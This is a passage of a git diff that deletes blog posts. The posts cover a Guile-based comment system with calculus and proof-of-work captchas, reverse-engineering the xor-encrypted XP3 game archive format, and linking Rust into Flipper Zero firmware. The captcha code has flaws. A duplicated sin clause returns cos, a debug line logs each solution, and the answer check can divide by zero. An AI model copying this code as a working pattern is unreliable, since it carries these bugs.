(string-join (map sexp->latex rest) " + ")) - (('* rest ...) (string-join (map sexp->latex rest) " \\cdot ")) - (('sin term) (format #f "\\sin(~a)" (sexp->latex term))) - (('cos term) (format #f "\\cos(~a)" (sexp->latex term))) - (('expt term n) (format #f "~a^{~a}" (sexp->latex term) (sexp->latex n))) - (('exp term) (format #f "e^{~a}" (sexp->latex term))) - ('x "x") - (n (cond ((and (number? n) (positive? n)) (format #f "~a" n)) - ((and (number? n) (negative? n)) (format #f "(~a)" n)) - ((number? n) "0") - (else (error "Do not know how to convert to latex." n)))))) - -(define (differentiate-sexp sexp) - (match sexp - (('+ rest ...) `(+ ,@(map differentiate-sexp rest))) - (('* coeff term) (if (number? coeff) - `(* ,coeff ,(differentiate-sexp term)) - (error "Do not know how to differentiate."))) - (('sin term) `(* ,(differentiate-sexp term) (cos ,term))) - (('cos term) `(* -1 ,(differentiate-sexp term) (sin ,term))) - (('exp term) `(* ,(differentiate-sexp term) (exp ,term))) - (('expt term n) `(* ,n (expt ,term ,(- n 1)))) - ('x 1) - (n (if (number? n) - 0 - (error "Do not know how to differentiate." n))))) - -(define (simplify-sexp sexp) - (match sexp - (('+ rest ...) `(+ ,@(map simplify-sexp rest))) - (('* 1 term) (simplify-sexp term)) - (('* 1 rest ...) (simplify-sexp `(* ,@rest))) - (('sin term) `(sin ,(simplify-sexp term))) - (('sin term) `(cos ,(simplify-sexp term))) - (('exp term) `(exp ,(simplify-sexp term))) - (('expt term 1) (simplify-sexp term)) - (('expt term n) `(expt ,(simplify-sexp term) ,(simplify-sexp n))) - (term term))) - -(define (random-expression) - (let ((n-terms (+ 2 (random 3)))) - `(+ ,@(map (lambda (x) (random-term)) (iota n-terms))))) - -(define (new-captcha!) - (let* ((lower-bound (random 10)) - (upper-bound (+ lower-bound 1 (random 9))) - (expression (random-expression)) - (latex-src (sexp->latex (simplify-sexp (differentiate-sexp expression)))) - (solution (- (local-eval expression (let ((x upper-bound)) (the-environment))) - (local-eval expression (let ((x lower-bound)) (the-environment))))) - (id (dequeue-id! tex-challenge-id-queue))) - (hash-set! tex-challenges id solution) - (values id - (latex->image (format #f "\\int_{~a}^{~a} ~a \\, dx" - lower-bound - upper-bound - latex-src))))) - -(define (validate-captcha! user-answer id) - (define epsilon 0.01) - (let ((solution (hash-ref tex-challenges id)) - (id-allocated (not (member id (id-queue-free tex-challenge-id-queue))))) - ;; FIXME: The predictable IDs means that its' easy for someone to screw with - ;; someone elses' captcha challenge (by invalidating it before they can - ;; submit it). Given the combination of our reaping algorithm and - ;; rate-limiting, does it make sense to only release the ID when the - ;; response is correct? - (format #t "Here: Solution was ~a and id-allocated is ~a~%" solution id-allocated) - (when (and solution id-allocated) - (release-id! id tex-challenge-id-queue)) - (and solution - id-allocated - (<= (/ (abs (- solution (string->number user-answer))) - solution) - epsilon)))) -#+END_SRC - -I was originally checking to see that the distance between the user's solution and the correct solution was less than epsilon, but a mathematically-inclined friend suggested using relative distance, which I've found to be much more reliable. - -Of course, I might have someone who wants to comment, but is visually impaired! So I have an alternative captcha system based loosely on the "proof-of-work" system that's used by Bitcoin. - -#+BEGIN_SRC scheme -;; How many zeroes the SHA-256 hash has to be prefixed by to be a valid proof of work. -(define %hardness 8) - -(define (new-proof-of-work-challenge!) - (let ((id (dequeue-id! pow-challenge-id-queue)) - (challenge (base64-encode (gen-random-bv 32)))) - (hash-set! pow-challenges id challenge) - (values id challenge))) - -(define (validate-proof-of-work! prefix challenge-id) - (define zero-prefix (string-join (map (lambda (_) "0") (iota %hardness)) "")) - (when (member challenge-id (id-queue-free pow-challenge-id-queue)) - (panic "No such challenge ID")) - (let* ((challenge (hash-ref pow-challenges challenge-id)) - (hash-value (chain (list prefix challenge) - (string-concatenate _) - (string->bytevector _ "utf8") - (bytevector-hash _ (lookup-hash-algorithm 'sha256)) - (bytevector->base16-string _)))) - ;; Invariant from `unless' form: - ;; (not (member challenge-id (id-queue-free pow-challenge-id-queue))) - (when challenge - (release-id! challenge-id pow-challenge-id-queue)) - (and (= 32 (string-length prefix)) - (string-prefix? zero-prefix hash-value)))) - -(define (make-pow-challenge! request body) - "API endpoint handler for requesting a proof-of-work challenge" - (let-values (((challenge-id nonce) (new-proof-of-work-challenge!))) - (values '((content-type . (application/json))) - (scm->json-string - `((hardness . ,%hardness) - (challenge-id . ,challenge-id) - (nonce . ,nonce)))))) -#+END_SRC - -Regardless of whether you're using the client-side rendered form or the server-side rendered form, this requires JavaScript. - -#+BEGIN_SRC javascript -function makeid(length) { - let result = ''; - let alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; - for (let i = 0; i < length; i++) { - result += alphabet.charAt(Math.floor(Math.random() * alphabet.length)); - } - return result; -} - -async function digestMessage(message) { - const msgUtf8 = new TextEncoder().encode(message); - const hashBuffer = await crypto.subtle.digest('SHA-256', msgUtf8); - const hashArray = Array.from(new Uint8Array(hashBuffer)); - const hashHex = hashArray.map((b) => b.toString(16).padStart(2, '0')).join(''); - return hashHex; -} - -async function findPrefix(hardness, nonce) { - while (true) { - let prefix = makeid(32); - let digestHex = await digestMessage(prefix + nonce); - if (digestHex.startsWith("0".repeat(hardness))) { - return prefix; - } - } -} - -function raceEndpoint() { - return new Promise(function (resolve, reject) { - makeRequest("GET", "/api/challenge/proof-of-work") - .then(function (data) { - let challengeData = JSON.parse(data); - findPrefix(challengeData.hardness, challengeData.nonce) - .then((prefix) => { resolve([prefix, challengeData["challenge-id"]]) } ); - }) - .catch(reject); - }); -} -#+END_SRC - -Though, I suppose it is theoretically solvable /without/ JavaScript. I could come up with a Perl or Python one-liner that would be attached to the form, and you'd copy into the terminal to do the proof-of-work, and then you could copy/paste the output into a form element. This is more work than I'm interested in doing at the moment, so I'm just hopeful that someone isn't visually impaired /and/ averse to enabling JavaScript on my website. - -I had previously planned to implement this in a completely stateless fashion. For the integral problem, the "answer" would be encrypted and MAC'd with =gcrypt=. Though, the =guile-gcrypt= bindings don't expose the symmetric cipher interface, so I had the option of either hacking on =guile-gcrypt= or generating some other bindings. I went with the other option, and wrote some bindings for [[https://en.wikipedia.org/wiki/Nettle_(cryptographic_library)][Nettle]]. - -#+BEGIN_SRC scheme -;;; Copyright © 2019 - 2022 Jakob L. Kreuze -;;; -;;; This program is free software; you can redistribute it and/or -;;; modify it under the terms of the GNU General Public License as -;;; published by the Free Software Foundation; either version 3 of the -;;; License, or (at your option) any later version. -;;; -;;; This program is distributed in the hope that it will be useful, -;;; but WITHOUT ANY WARRANTY; without even the implied warranty of -;;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -;;; General Public License for more details. -;;; -;;; You should have received a copy of the GNU General Public License -;;; along with this program. If not, see -;;; . - -(define-module (jakob dynamic aes) - #:use-module (gcrypt random) - #:use-module (system foreign) - #:use-module (rnrs bytevectors) - #:export (new-captcha)) - -(define %libnettle (dynamic-link "libnettle")) -(define %aes256-rounds 14) - -(define %aes-key-size (/ 256 8)) -(define %aes-block-size (/ 128 8)) -(define %tex-aes-key (gen-random-bv %aes-key-size)) - -;; Assume `data' is a bytevector of length `%aes-block-size'. -(define (aes-256-encrypt key data) - (let ((dest (make-bytevector %aes-block-size)) - (%ctx (make-c-struct (map (lambda (_) uint32) (iota (* 4 (+ 1 %aes256-rounds)))) - (map (lambda (_) 0) (iota (* 4 (+ 1 %aes256-rounds)))))) - (%aes-256-encrypt - (pointer->procedure void - (dynamic-func "nettle_aes256_encrypt" %libnettle) - (list '* size_t '* '*))) - (%aes-256-set-encrypt-key - (pointer->procedure void - (dynamic-func "nettle_aes256_set_encrypt_key" %libnettle) - (list '* '*)))) - (%aes-256-set-encrypt-key %ctx (bytevector->pointer %tex-aes-key)) - (%aes-256-encrypt %ctx %aes-block-size (bytevector->pointer dest) (bytevector->pointer data)) - dest)) - -(define (aes-256-decrypt key data) - (let ((dest (make-bytevector %aes-block-size)) - (%ctx (make-c-struct (map (lambda (_) uint32) (iota (* 4 (+ 1 %aes256-rounds)))) - (map (lambda (_) 0) (iota (* 4 (+ 1 %aes256-rounds)))))) - (%aes-256-decrypt - (pointer->procedure void - (dynamic-func "nettle_aes256_decrypt" %libnettle) - (list '* size_t '* '*))) - (%aes-256-set-decrypt-key - (pointer->procedure void - (dynamic-func "nettle_aes256_set_decrypt_key" %libnettle) - (list '* '*)))) - (%aes-256-set-decrypt-key %ctx (bytevector->pointer %tex-aes-key)) - (%aes-256-decrypt %ctx %aes-block-size (bytevector->pointer dest) (bytevector->pointer data)) - dest)) - -;; (utf8->string (aes-256-decrypt %tex-aes-key (aes-256-encrypt %tex-aes-key (string->utf8 "AAAABBBBC hello!")))) -;; => "AAAABBBBC hello!" -#+END_SRC - -Obviously this isn't incredibly secure (we're loading private keys into regular memory, for example) but this is a fairly low-stakes cryptographic application. - -That said, I ended up dropping the cryptography entirely, because there's no way to implement this correctly without state. You can imagine some sort of "expiry" date after which a captcha is invalidated that you can MAC, but that leaves a period of time between when the user (or adversary) solves the captcha and when it expires that they are free to submit as many comments as the want. /Some/ state is necessary for realizing if we've seen a captcha before. So I maintain a hash table mapping challenge numerical IDs to solutions. - -#+BEGIN_SRC scheme -(define-record-type - (make-id-queue mutex min-free-threshold free-ids allocated-ids) - id-queue? - (mutex id-queue-mutex) - (min-free-threshold id-queue-min-free-threshold) - (free-ids id-queue-free set-id-queue-free!) - (allocated-ids id-queue-allocated set-id-queue-allocated!)) - -(define* (make-queue n #:key (min-free-threshold 32)) - "Construct a stateful queue for tracking captcha IDs - -The parameter N specifies how many free IDs should initially be allocated. The -optional keyword argument MIN-FREE-THRESHOLD specifies when `dequeue-id!' should -iterate through the allocated list and free anything exceeding an -internally-defined `time-to-live-seconds'." - (make-id-queue (make-mutex) min-free-threshold (iota n) (list))) - -(define (append-to-free-queue! id queue) - "Add ID to the end of the free list of QUEUE" - (set-id-queue-free! - queue - (append! (id-queue-free queue) (list id)))) - -(define (remove-from-free-queue! id queue) - "Remove ID from the free list of QUEUE" - (set-id-queue-free! queue (delete! id (id-queue-free queue)))) - -(define (append-to-allocated-queue! id queue) - "Add ID to the end of the allocated list of QUEUE" - (set-id-queue-allocated! - queue - (append! (id-queue-allocated queue) (list (list id (current-time)))))) - -(define (remove-from-allocated-queue! id queue) - "Remove ID from the allocated list of QUEUE" - (set-id-queue-allocated! - queue - (filter! (lambda (x) (not (equal? id (car x)))) - (id-queue-allocated queue)))) - -(define (release-id! id queue) - "Release ID to the free list of QUEUE" - (with-mutex (id-queue-mutex queue) - (assert (find (lambda (x) (equal? id (car x))) (id-queue-allocated queue))) - (assert (not (member id (id-queue-free queue)))) - (append-to-free-queue! id queue) - (remove-from-allocated-queue! id queue))) - -(define (dequeue-id! queue) - "Draw a random ID from QUEUE and mark it as allocated" - (define time-to-live-seconds (* 20 60)) - (with-mutex (id-queue-mutex queue) - ;; Initial pass to "unintrusively" free any stale IDs. - (when (< (length (id-queue-free queue)) - (id-queue-min-free-threshold queue)) - (for-each - (match-lambda - ((id created-time) - (when (>= (- (time-second (current-time)) - (time-second created-time)) - time-to-live-seconds) - (remove-from-allocated-queue! id queue)))) - (list-copy (id-queue-allocated queue)))) - ;; If we're still over the threshold, we'll need to be more intrusive. - ;; Ideally, this is avoided by rate-limiting. - (when (< (length (id-queue-free queue)) - (id-queue-min-free-threshold queue)) - (let* ((to-take (- (id-queue-min-free-threshold queue) - (length (id-queue-free queue)))) - (to-free (map car (take (id-queue-allocated queue) to-take)))) - (set-id-queue-allocated! queue (drop (id-queue-allocated queue) to-take)) - (set-id-queue-free! queue (append! (id-queue-free queue) to-free)))) - (let* ((n (random (length (id-queue-free queue)))) - (id (list-ref (id-queue-free queue) n))) - (remove-from-free-queue! id queue) - (append-to-allocated-queue! id queue) - id))) -#+END_SRC - -And this solves most of the problems. Of course, you can adversarially fill the hash table with junk in hopes of evicting someone else's challenge, but my hope is that rate-limiting will prevent that from happening, in general. - -*** The Future of Comments - -This is just the first implementation of the system. Seeing how it performs in practice will probably motivate some changes later on. Already, though, there are a few "to do" items that I have in mind. - -The ability to reply to other comments is the main feature I think I overlooked. I've added this to the database schema so that I don't have to deal with migrations when I come back to it. That'll require that I render comments as a tree rather than a list, which I expect to be a nontrivial change. - -There's also a reaction capability, which is implemented, but right now it's only exposed via an API endpoint -- there's no nice button that you can click on to react to a comment. Between now and when I get around to implementing the UI, you can manually hit the endpoint all you want. I don't care. Though, it is severely rate-limited. - -Finally, the captcha system is pretty subpar. It was a good idea in my head, but my algorithm isn't smart enough to choose constants that are nice to work with. In particular, to actually evaluate the integral, it's likely that you need to calculate awful expressions like $\sin(7)$. I'll either write a better algorithm, or drop the calculus idea entirely and opt for something a little less rote. Perhaps identifying equal angles in a diagram, or pwning a vulnerable binary running in a [[https://github.com/copy/v86][v86 virtual machine]]. - -** On The Choice to Use Postgres - -I already had a database instance for Pleroma. If it wasn't already there on my server, I would have [[https://lobste.rs/s/0q9w7n/consider_sqlite][considered SQLite]]. - -** Fitting This Together with Haunt - -For the same performance reason I gave for having the captcha behind a button that you need to click, I wanted to keep Haunt around. I also just think it's a great piece of software. This site is still generated by Haunt -- there just happens to now be a separate component for implementing a bit server-side logic, and Apache will forward traffic to that separate component if it's a request for something besides the static content that makes up the majority of my site. - -The nice thing about Haunt is that "sites," or configurations in Haunt, are just Guile programs. Because I chose Guile for the "dynamic" part of my website, I was able to import most of the code I'd written for my Haunt configuration. So far, I've only used this in one place: the [[https://git.sr.ht/~jakob/blog/tree/self-hosted-comments/item/haunt/jakob/dynamic/capabilities/comment-form.scm][server-side rendered comment form]]. I'm able to import the function I use in Haunt to add the navigation bar, footer, and CSS, and use that for the form, as well as all of the [[https://git.sr.ht/~jakob/blog/tree/self-hosted-comments/item/haunt/jakob/utils/sxml.scm][SXML utility functions I wrote]]. - -To give a very underwhelming conclusion: being able to import Haunt stuff and use it to generate the SXML that's output by a Guile =(web server)= program is pretty cool. - ---- - -[fn:1] Of course, the times someone's shown up uninvited, they didn't RSVP in the first place. In retrospect, it was a bit silly to think that this would work the way I expected it to. - -[fn:2] The.. only? - -[fn:3] According to Apache logs, at least. I don't use any sort of analytics. If you're really curious, it was my [[https://lobste.rs/s/owy0rw/first_impressions_rust_programming][first post about Rust]]. - -[fn:4] As an anecdote, I had folks reach out about the post via email, which I see this as far less convenient than filling out a comment form. Hence, I conclude that it's likely I removed the comment functionality by this point. - -[fn:5] If you read Aaron's article that I linked above, you'll see that writing a Webmention is very technical. You need a website of your own, and enough patience to generate a bunch of complicated HTML, just to write a comment. diff --git a/org/Pushing Haunt to Its Limits/rsvp-screenshot.png b/org/Pushing Haunt to Its Limits/rsvp-screenshot.png deleted file mode 100644 index 9e18992..0000000 Binary files a/org/Pushing Haunt to Its Limits/rsvp-screenshot.png and /dev/null differ diff --git a/org/Pushing Haunt to Its Limits/web-server-traffic.jpg b/org/Pushing Haunt to Its Limits/web-server-traffic.jpg deleted file mode 100644 index f24ea09..0000000 Binary files a/org/Pushing Haunt to Its Limits/web-server-traffic.jpg and /dev/null differ diff --git a/org/Reverse Engineering Babby's First Archive Format/basic-parsing.png b/org/Reverse Engineering Babby's First Archive Format/basic-parsing.png deleted file mode 100644 index 0513350..0000000 Binary files a/org/Reverse Engineering Babby's First Archive Format/basic-parsing.png and /dev/null differ diff --git a/org/Reverse Engineering Babby's First Archive Format/binary-dump.png b/org/Reverse Engineering Babby's First Archive Format/binary-dump.png deleted file mode 100644 index 0a8774c..0000000 Binary files a/org/Reverse Engineering Babby's First Archive Format/binary-dump.png and /dev/null differ diff --git a/org/Reverse Engineering Babby's First Archive Format/catching-file-reads.png b/org/Reverse Engineering Babby's First Archive Format/catching-file-reads.png deleted file mode 100644 index 2ce8f62..0000000 Binary files a/org/Reverse Engineering Babby's First Archive Format/catching-file-reads.png and /dev/null differ diff --git a/org/Reverse Engineering Babby's First Archive Format/reverse-engineering-babbys-first-archive-format.org b/org/Reverse Engineering Babby's First Archive Format/reverse-engineering-babbys-first-archive-format.org deleted file mode 100644 index 49bf680..0000000 --- a/org/Reverse Engineering Babby's First Archive Format/reverse-engineering-babbys-first-archive-format.org +++ /dev/null @@ -1,119 +0,0 @@ -#+TITLE: Reverse Engineering Babby's First Archive Format -#+DATE: <2017-03-02 Thu 15:25> -#+TAGS: writeup, programming, reverse-engineering, video-games, x86, c, python - -About two months have passed since the first release of Nekopack - a tool I -wrote for extracting game data from Nekopara's XP3 archives. While the process -wasn't an amazing reverse-engineering war story that will keep you on the edge -of your seat, I feel it deserves a small blog post explaining how I did it. -Additionally, there's no real documentation on the XP3 format as far as I'm -aware, so hopefully this post will serve as an informal specification. - -The first step I took was to see if anyone else had tried to reverse it. Even -something as simple as a writeup would have made my goal significantly more -attainable. The closest thing I was able to find was [[https://github.com/vn-tools/arc_unpacker][Arc Unpacker]], a tool -capable of extracting several archive formats, including XP3. However, -attempting to use it brought to my attention the fact that Nekopara's archives -are encrypted. Further searching yielded nothing of interest, so it seemed that -the solution was to write a tool of my own. I chose to write it from scratch, as -I couldn't predict how complex the encryption algorithm would be. - -Writing a tool to work with an archive format, however, requires a very thorough -understanding of how it's structured. Instinctively, I fired up my favorite hex -editor and went at it, with the [[https://github.com/vn-tools/arc_unpacker/blob/master/src/dec/kirikiri/xp3_archive_decoder.cc][source code of Arc]] open to figure out most of -it. - -#+CAPTION: A hex dump of the XP3 header. -[[./xp3-header.png]] - -The first section of the archive is the header. It begins with an 11-byte -"magic number," used by whatever program is opening it as a sanity check. It's -followed by a 64-bit offset which, for XP3 version 2, points to a few adjacent -values. First, an 8-bit integer that I've been told acts as a flags variable, -followed by a 64-bit integer representing the table's size, and finally another -64-bit integer containing an offset to the beginning of the table section. The -flags variable, to my knowledge, should have the 0x80 bit set; it's a constant -defined in the code of the KiriKiriZ engine that I presume marks compatibility -with the game engine. Byte 0x13 is a 32-bit unsigned integer representing the -version, where a value of 1 represents version 2 of the archive. - -The header can be represented as the following C struct. - -#+BEGIN_SRC c :hl_lines 0 -struct header { - char magic[11]; - uint64_t info_offset; - uint32_t version; - uint64_t table_size; - uint8_t flags; - uint64_t table_offset; -}; -#+END_SRC - -Seeking to the table, we find that it starts with some metadata. First, an -8-bit unsigned integer representing whether or not the contents of the archive -are compressed. That's followed by a 64-bit unsigned integer representing the -compressed size of the table, and another 64-bit unsigned integer representing -the decompressed size. The table's contents are compressed using LZ77 and -Huffman Coding, so let's use zlib! I proceeded to inflate the archive contents -according to the header and dumped it so that I could view it in my hex editor. - -#+CAPTION: Sections in the hexdump of the decompressed payload with the corresponding constants in the Arc source code. -[[./binary-dump.png]] - -Every entry has a header containing a 32-bit magic number (underlined in red), -followed by a 64-bit unsigned integer representing the size of the entry. It's a -very simple format to parse. This very first entry, =0x656c6946=, is an =eliF= -entry. It contains a UTF-16LE encoded filename and a "key", which is used to -associate the =eliF= entry with its corresponding =File= entry. That key is also -used when decrypting the file, but we'll get into that later on. - -The next visible chunk is a =File= entry. There's a lot in it, so it's broken up -into several parts: =info=, =segm=, =adlr=, and =time=" The =adlr= chunk is -pretty small and contains only the key, used to match the =File= entry to an -=eliF= entry. The =time= chunk is also pretty small, containing a UNIX timestamp -for the file creation date. What's a little more interesting are the two -remaining chunks. =segm= has offsets to the beginning of the file, and it can -actually contain several "segments." The =file= chunks specified in =segm= are -also compressed with LZ77 and Huffman Coding. =info= contains a flags variable, -a compressed and decompressed size, and what seems to be an MD5 hash of the -file. - -#+CAPTION: A screenshot of my terminal, showing the output of a bare-bones parser for the format. -[[./basic-parsing.png]] - -Now we run into the problem of the files' contents being encrypted. I began by -getting a debugger setup going to reverse engineer the binary. x64dbg isn't my -usual choice, especially not with Intel syntax, but it was the first thing I -was really able to get working. Of course, using the debugger alone is a little -primitive. We have other tools to make reverse engineering easier. - -#+CAPTION: A screenshot of procmon alongside x32dbg, logging Windows syscalls that read files. -[[./catching-file-reads.png]] - -Enter procmon. It's reminiscent of strace, but it's meant for Windows and has a -nice stack trace feature which helps us to locate the code that decrypts the -archive. This is the point where I got stuck, having to deal with threads. It -was mostly "guns blazing" debugging. I stepped through the code mindlessly for a -few days, until one night before going to bed when I decided to take another -look online for whether or not someone had cracked it yet. Then I found -[[https://bitbucket.org/SmilingWolf/xp3tools-updated][something interesting]]. - -It felt a little too easy, but I already wrote the unpacking part - so I wrote -code to decrypt buffers and copied the encryption keys into my code. Encryption -is symmetric and extremely simple, just single-key xor. A base key is first -derived by xoring the game's master key with the file key I mentioned earlier. -Then a one-byte key is derived from that key by xoring each byte. For some -games the least significant byte of the base key is used to encrypt the first -byte of the file. The game has default values to fall back to if either of -those keys are too simple. - -Since the script I found only had the keys for volumes 1 and 0, I decided to -try to get the key for volume 2 on my own. But now that I know the encryption -algorithm used, I can break it without having to disassemble the game. - -It's pretty simple. Most binary files have a "magic number" associated with -them, which allows us to perform a known-plaintext attack. Pair that with the -fact that the first byte of each file is encrypted with the least-significant -byte of the base key, and you've got yourself a cracking process simple enough -to do in [[https://github.com/TsarFox/nekopack/blob/master/other/find_key.py][about 100 lines of python]]. diff --git a/org/Reverse Engineering Babby's First Archive Format/xp3-header.png b/org/Reverse Engineering Babby's First Archive Format/xp3-header.png deleted file mode 100644 index 0fac996..0000000 Binary files a/org/Reverse Engineering Babby's First Archive Format/xp3-header.png and /dev/null differ diff --git a/org/Rust on the Flipper Zero/rust-on-flipper-zero.org b/org/Rust on the Flipper Zero/rust-on-flipper-zero.org deleted file mode 100644 index 6f0c46c..0000000 --- a/org/Rust on the Flipper Zero/rust-on-flipper-zero.org +++ /dev/null @@ -1,810 +0,0 @@ -#+TITLE: Rust on the Flipper Zero -#+DATE: <2022-07-05 Tue 07:16> -#+TAGS: writeup, rust, embedded, hardware, flipperzero - -My [[https://flipperzero.one/][Flipper Zero]] arrived in the mail a few weeks ago, ending a nearly two-year -wait for its arrival. For the uninitiated, it's a "multi-tool device for geeks": -a development board for radio, IR, and GPIO in a [[https://en.wikipedia.org/wiki/Tamagotchi][Tamagotchi]]-like form-factor. It -combines the capability of the [[https://kk4vcz.com/goodwatch/][GoodWatch]] with the cuteness of the [[https://pwnagotchi.ai/][Pwnagotchi]]. -Part of the appeal, to me, is the ability to hack on the [[https://github.com/flipperdevices/flipperzero-firmware][free (as in freedom) -firmware]]. As capable as it was out of the box, providing plenty of amusement -when my brother and I took it for a spin through some parking garages, there are -still features I'd like to add to it. The problem is that I've been too pampered -by Rust as of late to want to do my firmware hacks in C. - -Indeed, shortly after receiving the Flipper, I updated the firmware as directed. -While mostly solid, I had a lock-up within the first hour of use, forcing me to -give it the two-finger salute to reboot it. Obviously, these things inevitably -happen. It's early in the product's lifecycle. And even though I trust the -Flipper developers to wield the n-edged blade of C, I know that /I'm/ not a -firmware engineer by trade, and that I would want the comfort of the borrow -checker to prevent the many more locks and freezes I would introduce if I were -to write my changes in C. - -Embedded software is a field where Rust (supposedly) [[https://artemis.sh/2022/03/28/oxide-hubris-on-pinetime.html][shines]],and I happened to -come across Philipp Oppermann's book /Writing an OS in Rust/ recently -(specifically [[https://os.phil-opp.com/freestanding-rust-binary/][this section]]) which inspired me to give it a whirl on my new toy. - -* Shoehorning Rust Into a C Build System - -#+BEGIN_EXPORT html -
-#+END_EXPORT -A few days ago, the Flipper team [[https://github.com/flipperdevices/flipperzero-firmware/pull/1269][integrated scons as their new build system]], so -the information below is already out of date. We'll mention the differences in -the next post. -#+BEGIN_EXPORT html -
-#+END_EXPORT - -Our first goal will be to get "hello world" running on the Flipper. We'll do -something actually useful with the Flipper API eventually, but we must walk -before we can run. - -The firmware build process is [[https://github.com/flipperdevices/flipperzero-firmware/blob/dev/ReadMe.md][well-documented]]. It's primarily written in C and -uses =make=. We have two feasible options for shoehorning Rust into the process. -We can: - -1. Use =rustc= to emit an [[https://stackoverflow.com/questions/37891559/rusts-o-file-format-not-recognized-by-gcc][object file]], which we can add to the list of objects - being linked by build system. -2. Create a proper =cargo= project and produce a [[https://en.wikipedia.org/wiki/Static_library#Creating_static_libraries_in_C/C++][static C library]], which we'll - then link into the firmware. - -The latter has the benefit that we can easily use =no-std= libraries and inject -custom logic into a =build.rs= (e.g. for generating bindings as part of the build -process). But before settling on one particular solution, I wanted data on cost -in terms of firmware size -- one of several limitations we need to consider as -we hack on the firmware. - -** Linking an Object File - -I cracked open a beer Saturday afternoon and sat down to get through the web of -Makefiles, eventually converging on this diff to include a =rustc= rule: - -#+BEGIN_SRC diff -diff --git a/applications/applications.c b/applications/applications.c -index 247c601c..67e70e8d 100644 ---- a/applications/applications.c -+++ b/applications/applications.c -@@ -49,6 +49,7 @@ extern int32_t file_browser_app(void* p); - // Plugins - extern int32_t music_player_app(void* p); - extern int32_t wav_player_app(void* p); -+extern int32_t hello_world_app(void *p); - extern int32_t clock_app(void *p); - extern int32_t unirfremix_app(void *p); - extern int32_t spectrum_analyzer_app(void* p); -@@ -382,6 +383,14 @@ const FlipperApplication FLIPPER_PLUGINS[] = { - .flags = FlipperApplicationFlagDefault}, - #endif - -+#ifdef APP_HELLO_WORLD -+ {.app = hello_world_app, -+ .name = "Hello World", -+ .stack_size = 1024, -+ .icon = NULL, -+ .flags = FlipperApplicationFlagDefault}, -+#endif -+ - }; - - const size_t FLIPPER_PLUGINS_COUNT = COUNT_OF(FLIPPER_PLUGINS); -diff --git a/applications/applications.mk b/applications/applications.mk -index 60a339bd..baeaf4ae 100644 ---- a/applications/applications.mk -+++ b/applications/applications.mk -@@ -4,6 +4,7 @@ LIB_DIR = $(PROJECT_ROOT)/lib - CFLAGS += -I$(APP_DIR) - C_SOURCES += $(shell find $(APP_DIR) -name "*.c") - CPP_SOURCES += $(shell find $(APP_DIR) -name "*.cpp") -+RUST_SOURCES += $(shell find $(APP_DIR) -name "*.rs") - - RAM_EXEC ?= 0 - ifeq ($(RAM_EXEC), 1) -@@ -53,6 +54,7 @@ APP_SPECTRUM_ANALYZER = 1 - APP_MUSIC_PLAYER = 1 - APP_SNAKE_GAME = 1 - APP_WAV_PLAYER = 1 -+APP_HELLO_WORLD = 1 - APP_TETRIS_GAME = 1 - - # Debug -@@ -253,6 +255,12 @@ CFLAGS += -DAPP_WAV_PLAYER - SRV_GUI = 1 - endif - -+APP_HELLO_WORLD ?= 0 -+ifeq ($(APP_HELLO_WORLD), 1) -+CFLAGS += -DAPP_HELLO_WORLD -+SRV_GUI = 1 -+endif -+ - APP_TETRIS_GAME ?= 0 - ifeq ($(APP_TETRIS_GAME), 1) - CFLAGS += -DAPP_TETRIS_GAME -diff --git a/applications/hello_world/hello_world.rs b/applications/hello_world/hello_world.rs -new file mode 100644 -index 00000000..93a0b1b8 ---- /dev/null -+++ b/applications/hello_world/hello_world.rs -@@ -0,0 +1,15 @@ -+#![no_std] -+#![crate_type = "staticlib"] -+ -+use core::panic::PanicInfo; -+ -+#[no_mangle] -+pub extern "C" fn hello_world_app() -> i32 { -+ 0 -+} -+ -+/// This function is called on panic. -+#[panic_handler] -+fn panic(_info: &PanicInfo) -> ! { -+ loop {} -+} -diff --git a/make/base.mk b/make/base.mk -index 281419e9..ec277016 100644 ---- a/make/base.mk -+++ b/make/base.mk -@@ -1,7 +1,8 @@ - OBJ_DIR = .obj - ASM_SOURCES = - C_SOURCES = --CPP_SOURCES = -+CPP_SOURCES = -+RUST_SOURCES = - ASSETS = - OPENOCD_OPTS = - -diff --git a/make/rules.mk b/make/rules.mk -index bdf8a4af..68b62c0c 100644 ---- a/make/rules.mk -+++ b/make/rules.mk -@@ -4,11 +4,13 @@ OBJ_DIR := $(OBJ_DIR)/$(TARGET)-$(PROJECT) - C_SOURCES := $(abspath ${C_SOURCES}) - ASM_SOURCES := $(abspath ${ASM_SOURCES}) - CPP_SOURCES := $(abspath ${CPP_SOURCES}) -+RUST_SOURCES := $(abspath ${RUST_SOURCES}) - - # Gather object - OBJECTS = $(addprefix $(OBJ_DIR)/, $(C_SOURCES:.c=.o)) - OBJECTS += $(addprefix $(OBJ_DIR)/, $(ASM_SOURCES:.s=.o)) - OBJECTS += $(addprefix $(OBJ_DIR)/, $(CPP_SOURCES:.cpp=.o)) -+OBJECTS += $(addprefix $(OBJ_DIR)/, $(RUST_SOURCES:.rs=.o)) - - OBJECT_DIRS = $(sort $(dir $(OBJECTS))) - -@@ -78,6 +80,10 @@ $(OBJ_DIR)/%.o: %.cpp $(OBJ_DIR)/BUILD_FLAGS - @echo "\tCPP\t" $(subst $(PROJECT_ROOT)/, , $<) - @$(CPP) $(CFLAGS) $(CPPFLAGS) -c $< -o $@ - -+$(OBJ_DIR)/%.o: %.rs $(OBJ_DIR)/BUILD_FLAGS -+ @echo "\tRUSTC\t" $(subst $(PROJECT_ROOT)/, , $<) -+ @$(RUSTC) $< -o $@ -+ - $(OBJ_DIR)/flash: $(OBJ_DIR)/$(PROJECT).bin - openocd $(OPENOCD_OPTS) -c "program $(OBJ_DIR)/$(PROJECT).bin reset exit $(FLASH_ADDRESS)" - touch $@ -diff --git a/make/toolchain.mk b/make/toolchain.mk -index f161d3d1..9a27ca8d 100644 ---- a/make/toolchain.mk -+++ b/make/toolchain.mk -@@ -12,6 +12,7 @@ CCACHE := $(shell which ccache) - - CC = $(CCACHE) $(PREFIX)gcc -std=gnu17 - CPP = $(CCACHE) $(PREFIX)g++ -std=gnu++17 -+RUSTC = rustc --target thumbv7em-none-eabihf --emit obj - LD = $(PREFIX)g++ - AS = $(PREFIX)gcc -x assembler-with-cpp - CP = $(PREFIX)objcopy -#+END_SRC - -I took my usual approach of copy/pasting the surrounding code and letting -whatever errors the build system spits out guide my changes. The mortal sin -present above is a hard-coded processor architecture. Also, note that this is -=thumbv7em-none-eabihf= and not =thumbv7em-none-eabi=, which I used in the beginning 